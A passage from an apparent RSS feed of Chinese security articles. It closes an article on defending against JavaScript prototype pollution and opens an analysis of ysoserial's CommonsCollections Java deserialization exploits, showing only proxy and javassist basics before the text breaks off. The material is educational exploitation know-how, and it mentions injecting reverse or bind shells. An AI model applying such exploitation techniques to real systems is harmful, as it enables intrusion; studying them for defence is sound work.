0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span><br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;line-height: 21.4px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;">如何防御</span><span style="font-size: 20px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">在这里我们了解下这类攻击，如何从代码上更安全的编写，更好的防御这类漏洞。</span><span style="font-size: 15px;">漏洞发现的作者给出了2个解决方案，先来看看我是如何防御的。</span></p></section><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">如果是我来解决这个问题的话，我会选择迭代对象的属性，直到查找到__proto__和prototype这2个属性名，如果出现就干掉。</span><span style="font-size: 15px;">但是这个方法还是有缺陷，一个是建立于黑名单，需要列入的属性太多了，例如Dos的话就要把tostring和valueof等方法列入，而且遇到私有属性覆盖的话，怎么确保参数，接口很多。</span></p><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><p><br/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">原作者提出了3点：</span></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">1、使用Object.freeze来冻结对象，几乎所有的 JavaScript对象都是 Object的实例。</span><span style="font-size: 15px;">所以冻结Object.prototype即可。</span><span style="font-size: 15px;">具体大家可以去了解下es5就新增的Object.freeze方法，使用了这个方法，那么黑客就无法对prototype新增或者重写对应原型链上的方法，不过这样可能会导致一些隐性的bug产生，而且可能还不知道是哪里出错了。</span></p><p><br/></p><p><br/></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">2、用map数据结构来代替自带的对象结构。</span><span style="font-size: 15px;">Es6就有map结构啦，这个map和Object的区别就是map的键可以是任意的对象类型，数组也好，对象也好。</span></p><p><br/></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">3、<span style="text-decoration: underline;">使用Object.create(null)</span><strong><span style="color: rgb(255, 0, 0);">（强烈推荐）</span></strong>， 使用这个方法就可以更好的防御原型链污染攻击了，因为Object.create(null)使得创建的新对象没有任何的原型链，是null的，不具备任何的继承关系，当你接受一个客户端的参数并且打算merge的话，可以使用此方法后去merge，这样的对象是比较安全的，客户端没办法通过原型链来污染攻击(因为压根就没原型链通往其他的对象)。</span><span style="font-size: 15px;">我们可以简单的通过一个实验来看下。</span></p><p class="before-image"><br/></p><section class="_135editor" data-tools="135编辑器" data-id="95776"><section style="display:flex;justify-content:center;align-items: center;margin-top:-30px;"><section style="width:50%;margin-top:38px;" data-width="50%"><section style="background-image: -webkit-linear-gradient(left, rgb(235, 247, 206), rgb(208, 251, 215));padding-bottom: 10px;box-sizing: border-box;"></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-before-oversubscription-url="https://mmbiz.qlogo.cn/mmbiz_png/Yhx2OWkuAzXw019vVSsBr0DKszCG4AVx72QKu8pucKwCYfM3loQlraevZaicHJw3wu70DUXKw9atOS63y9dBZ5Q/0?wx_fmt=png" data-ratio="0.2425629290617849" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 554px !important;visibility: visible !important;" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=ac005016&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYhx2OWkuAzXw019vVSsBr0DKszCG4AVx72QKu8pucKwCYfM3loQlraevZaicHJw3wu70DUXKw9atOS63y9dBZ5Q%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-backh="224" data-backw="554" data-before-oversubscription-url="https://mmbiz.qlogo.cn/mmbiz_png/Yhx2OWkuAzXw019vVSsBr0DKszCG4AVxtJmgj2aTnxCx2B163rHs4F18r8cVYY8PNfKByicFUhBd6OgPYmBFeDg/0?wx_fmt=png" data-ratio="0.4050925925925926" data-s="300,640" style="width: 657px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=4fd7d479&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYhx2OWkuAzXw019vVSsBr0DKszCG4AVxtJmgj2aTnxCx2B163rHs4F18r8cVYY8PNfKByicFUhBd6OgPYmBFeDg%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="300" src="https://wechat2rss.xlab.app/img-proxy/?k=938add07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4RlHv5xMA9PGiaPYDSHaHeGoOZvjksbQrpnIib0rBQiaf4T8PX2IGuUPdd3StuIp7NQVactXFXEMhlw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247483759">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=df658956&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483759%26idx%3D1%26sn%3D860f772fa2cd2b4b58c4551cffd29333%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Oct 2019 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>玩转ysoserial-CommonsCollection的七种利用方式分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483753&amp;idx=1&amp;sn=f1423a7c948bb1135df4f26873925a9f</link>
      <description>CommonsCollection在java反序列化的源流中已经存在了4年多了，关于其中的分析也是层出不穷，本文旨在整合分析一下ysoserial中CommonsCollection反序列化漏洞的多种利用手段，从中探讨一下漏洞的思路。</description>
      <content:encoded><![CDATA[<p>
<span>Glassy​</span> <span>2019-09-17 15:24</span> <span style="display: inline-block;"></span>
</p>

<p>CommonsCollection在java反序列化的源流中已经存在了4年多了，关于其中的分析也是层出不穷，本文旨在整合分析一下ysoserial中CommonsCollection反序列化漏洞的多种利用手段，从中探讨一下漏洞的思路。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2cd3ce70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4FoWEPkKpvlQxvmbibGtk5bl8bjfybDaE6fiaica7cY5tSQZ0Q8xe4Pic9g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;color: rgb(0, 128, 255);">Author：Glassy@平安银行应用安全团队</span></p><p><br/></p><section class="xmteditor" style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"></section><p><span style="">引言</span><br/></p><p style="margin-top:11px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="color:rgb(200,173,117);font-size:14px;">CommonsCollection</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="color:rgb(200,173,117);font-size:14px;">java</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">反序列化的源流中已经存在了</span><span style="color:rgb(200,173,117);font-size:14px;">4</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">年多了，关于其中的分析也是层出不穷，本文旨在整合分析一下</span><span style="color:rgb(200,173,117);font-size:14px;">ysoserial</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">中</span><span style="color:rgb(200,173,117);font-size:14px;">CommonsCollection</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">反序列化漏洞的多种利用手段，从中探讨一下漏洞的思路，并且对于</span><span style="color:rgb(200,173,117);font-size:14px;">ysoserial</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">的代码做一下普及，提升大家对于</span><span style="color:rgb(200,173,117);font-size:14px;">ysoserial</span><span style="color: rgb(200, 173, 117);font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">的代码阅读能力</span><span style="color: rgb(200, 173, 117);font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;">。</span></p><p style="margin-top:11px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="color: rgb(200, 173, 117);font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="margin-top:10px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 17px;"><span style="font-family: Verdana;">ysoserial</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的关键编码技术介绍</span></span></p><p style="margin-top:9px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">首先我们先去了解一下</span><span style="font-family: Verdana;color: rgb(64, 128, 208);">ysoserial</span><span style="color: rgb(64, 128, 208);font-family: &#34;Droid Sans Fallback&#34;">的源码</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中的一些常用技术做一个简单的科普。</span></span></p><p style="margin-top:13px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">动态代理</span></p><p style="margin-top:10px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">动态代理比较常见的用处就是：在不修改类的源码的情况下</span><strong><span style="font-size: 14px;font-family: Verdana;">,</span></strong><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">通过代理的方式为类的方法提供更多的功能。</span></span></p><p style="margin-top: 12px;margin-right: 15px;margin-left: 7px;text-indent: 0;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">举个例子来说（这个例子在开发中很常见）：我的开发们实现了业务部分的所有代码，忽然我期望在这些业务代码中多添加日志记录功能的时候，一个一个类去添加代码就会非常麻烦，这个时候我们就能通过动态代理的</span> <span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">方式对期待添加日志的类进行代理。</span></span></p><p style="margin-top:0;"><span style="font-size: 14px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">看一个简单的</span><span style="font-size: 14px;font-family: Verdana;">demo</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">：</span></span></p><p style="margin-top:12px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">Work</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">接口需要实现</span><span style="font-size: 14px;font-family: Verdana;">work</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">函数</span></span></p><p style="margin-top:0;margin-right:443px;margin-left:57px;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">Work</span> { <span class="code-snippet__function" style="">public</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer"> String <span class="code-snippet__title">work</span>(<span class="code-snippet__params"></span>)</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top:4px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:4px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-family:Verdana;font-size:14px;">Teacher</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">类实现了</span><span style="font-family:Verdana;font-size:14px;">Work</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">接口</span></p><p style="margin-top:2px;margin-right:342px;margin-left:57px;text-align:left;line-height:38px;"><span style="color: rgb(136, 88, 168);font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Teacher</span> <span class="code-snippet__keyword">implements</span> </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">     <span class="code-snippet__title">Work</span></span>{ <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">work()</span> </span>{</span></code><code><span class="code-snippet_outer">          System.out.println(<span class="code-snippet__string">&#34;my work is teach students&#34;</span>); <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__string">&#34;Teacher&#34;</span>;</span></code><code><span class="code-snippet_outer">} </span></code><code><span class="code-snippet_outer">}  </span></code></pre></section><p style="margin-top:2px;margin-right:342px;margin-left:57px;text-align:left;line-height:38px;"><span style="font-size:5px;"></span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: Verdana;">WorkHandler</span><span style="font-family: &#34;Droid Sans Fallback&#34;">用来处理被代理对象，它必须继承</span><span style="font-family: Verdana;">InvocationHandler</span><span style="font-family: &#34;Droid Sans Fallback&#34;">接口，并实现</span><span style="font-family: Verdana;">invoke</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:7px;margin-right:299px;margin-left:31px;line-height:116%;"><span style="color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.InvocationHandler; <span class="code-snippet__keyword">import</span> </span></code><code><span class="code-snippet_outer">java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">WorkHandler</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">InvocationHandler</span></span>{</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">     <span class="code-snippet__comment">//代理类中的真实对象</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__keyword">private</span> Object obj;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//构造函数，给我们的真实对象赋值 public </span></span></code><code><span class="code-snippet_outer">    WorkHandler(Object obj) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.obj = obj;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">invoke(Object proxy, Method method, Object[] args)</span> <span class="code-snippet__keyword">throws</span> </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">Throwable </span>{</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__comment">//在真实的对象执行之前我们可以添加自己的操作</span></span></code><code><span class="code-snippet_outer">         System.out.println(<span class="code-snippet__string">&#34;before invoke...&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//java的反射功能，用来调用obj对象的method方法，传入参数为</span></span></code><code><span class="code-snippet_outer">        args Object invoke = method.invoke(obj, args);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__comment">//在真实的对象执行之后我们可以添加自己的操作</span></span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;after invoke...&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> invoke;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">} </span></code></pre></section><p style="margin-top:0;margin-right:33px;margin-left:7px;text-indent:0;text-align:left;"><span style="z-index:-1;margin-left:57.3333px;margin-top:56.6000px;width:680.0000px;height:424.0000px;"></span></p><p style="margin-top:0;margin-right:33px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;letter-spacing: 0px;">Test</span><span style="font-family: &#34;Droid Sans Fallback&#34;">类中通过</span><span style="font-family: Verdana;">Proxy.newProxyInstance</span><span style="font-family: &#34;Droid Sans Fallback&#34;">进行动态代理，这样当我们调用代理对象</span><span style="font-family: Verdana;">proxy</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象的</span><span style="font-family: Verdana;">work</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法的时候，</span><em><span style="font-family: &#34;Droid Sans Fallback&#34;">实际</span></em><em><span style="font-family: &#34;Droid Sans Fallback&#34;">上</span></em><em><span style="font-family: &#34;Droid Sans Fallback&#34;">调用的是</span></em><strong><em><span style="font-family: Verdana;">WorkHandler</span></em></strong><em><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span></em><strong><em><span style="font-family: Verdana;">invoke</span></em></strong><em><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></em><span style="font-family: &#34;Droid Sans Fallback&#34;">。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.InvocationHandler; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Proxy;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Test</span> {</span></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">     <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main(String[] args)</span> </span>{</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">//要代理的真实对象</span></span></code><code><span class="code-snippet_outer">         Work people = <span class="code-snippet__keyword">new</span> Teacher();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//代理对象的调用处理程序，我们将要代理的真实对象传入代理对象的调用处理的构造函数中，最终代理对象的调用处理程序会调用真实对象的方法</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">InvocationHandler handler = <span class="code-snippet__keyword">new</span> WorkHandler(people);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">/**</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">* 通过Proxy类的newProxyInstance方法创建代理对象，我们来看下方法中的参数</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">* 第一个参数：people.getClass().getClassLoader()，使用handler对象的</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">classloader对象来加载我们的代理对象</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">* 第二个参数：people.getClass().getInterfaces()，这里为代理类提供的接口  是真实对象实现的接口，这样代理对象就能像真实对象一样调用接口中的所有方法</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">* 第三个参数：handler，我们将代理对象关联到上面的InvocationHandler对象上</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">*/</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Work proxy= </span></code><code><span class="code-snippet_outer">(Work)Proxy.newProxyInstance(handler.getClass().getClassLoader(),</span></code><code><span class="code-snippet_outer">people.getClass().getInterfaces(), handler);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">System.out.println(proxy.work());</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top:0;"><span style="font-size:21px;"></span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">看一下输出结果，我们再没有改变</span><span style="font-family: Verdana;">Teacher</span><span style="font-family: &#34;Droid Sans Fallback&#34;">类的前提下通过代理</span><span style="font-family: Verdana;">Work</span><span style="font-family: &#34;Droid Sans Fallback&#34;">接口，实现了</span><span style="font-family: Verdana;">work</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数调用的重写。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p><span style="font-size:5px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer" style="">before invoke...</span></code><code><span class="code-snippet_outer" style="">my work is teach students </span></code><code><span class="code-snippet_outer" style="">after invoke...</span></code><code><span class="code-snippet_outer" style="">Teacher</span></code></pre></section><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 17px;"><span style="font-family: Verdana;">javassist</span><span style="font-family: &#34;Droid Sans Fallback&#34;">动态编程</span></span><span style="font-size: 15px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:13px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-family:Verdana;font-size:14px;">ysoserial</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">中基本上所有的恶意</span><span style="font-family:Verdana;font-size:14px;">object</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">都是通过动态编程的方式生成的，通过这种方式我们可以直接对已经存在的</span><span style="font-family: Verdana;font-size: 14px;">java</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">文件字节码进行操作，也可以在内存中动态生成</span><span style="font-family: Verdana;font-size: 14px;">Java</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">代码，动态编译执行，关于这样做的好处，作者在工具中也有提到：</span><span style="font-size: 9px;text-align: justify;"> </span></p><p style="margin-top:0;margin-right:45px;margin-left:7px;line-height:135%;"><span style="color:rgb(200,173,117);font-size:14px;">could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections</span></p><p style="margin-top:10px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">关于</span><span style="font-family: Verdana;">javassist</span><span style="font-family: &#34;Droid Sans Fallback&#34;">动态编程，我就只把关键的函数及其功能罗列一下了</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:212px;margin-left:23px;text-indent:0;text-align:left;"><span style="color:rgb(142,144,139);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer" style="">//获取默认类池，只有在这个ClassPool里面已经加载的类，才能使用ClassPool pool = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer" style="">//获取pool中的某个类</span></code><code><span class="code-snippet_outer">CtClass cc = pool.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;test.Teacher&#34;</span>);</span></code><code><span class="code-snippet_outer" style="">//为cc类设置父类cc.setSuperclass(pool.get(&#34;test.People&#34;));</span></code><code><span class="code-snippet_outer" style="">//将动态生成类的class文件存储到path路径下cc.writeFile(path);</span></code><code><span class="code-snippet_outer" style="">//获取类的字节码</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">byte</span>[] b=cc.toBytecode();</span></code><code><span class="code-snippet_outer" style="">//创造Point类</span></code><code><span class="code-snippet_outer">CtClass cc = pool.makeClass(<span class="code-snippet__string">&#34;Point&#34;</span>);</span></code><code><span class="code-snippet_outer" style="">//为cc类添加成员变量cc.addField(f);</span></code><code><span class="code-snippet_outer" style="">//为cc类添加方法cc.addMethod(m);</span></code><code><span class="code-snippet_outer" style="">//为cc类设置类名cc.setName(&#34;Pair&#34;);</span></code></pre></section><p style="margin-top:2px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><br/></p><p style="margin-top:2px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-family:Verdana;font-size:21px;">CommonsCollections</span><span style="font-size: 19px;font-family: &#34;Droid Sans Fallback&#34;">反序列化</span><span style="font-size: 19px;font-family: Arial;">漏洞</span><span style="font-size: 19px;font-family: &#34;Droid Sans Fallback&#34;">的利</span><span style="font-size: 18px;font-family: &#34;Droid Sans Fallback&#34;">用</span></p><p style="margin-top:2px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:11px;margin-right:11px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">关于</span><span style="font-family: 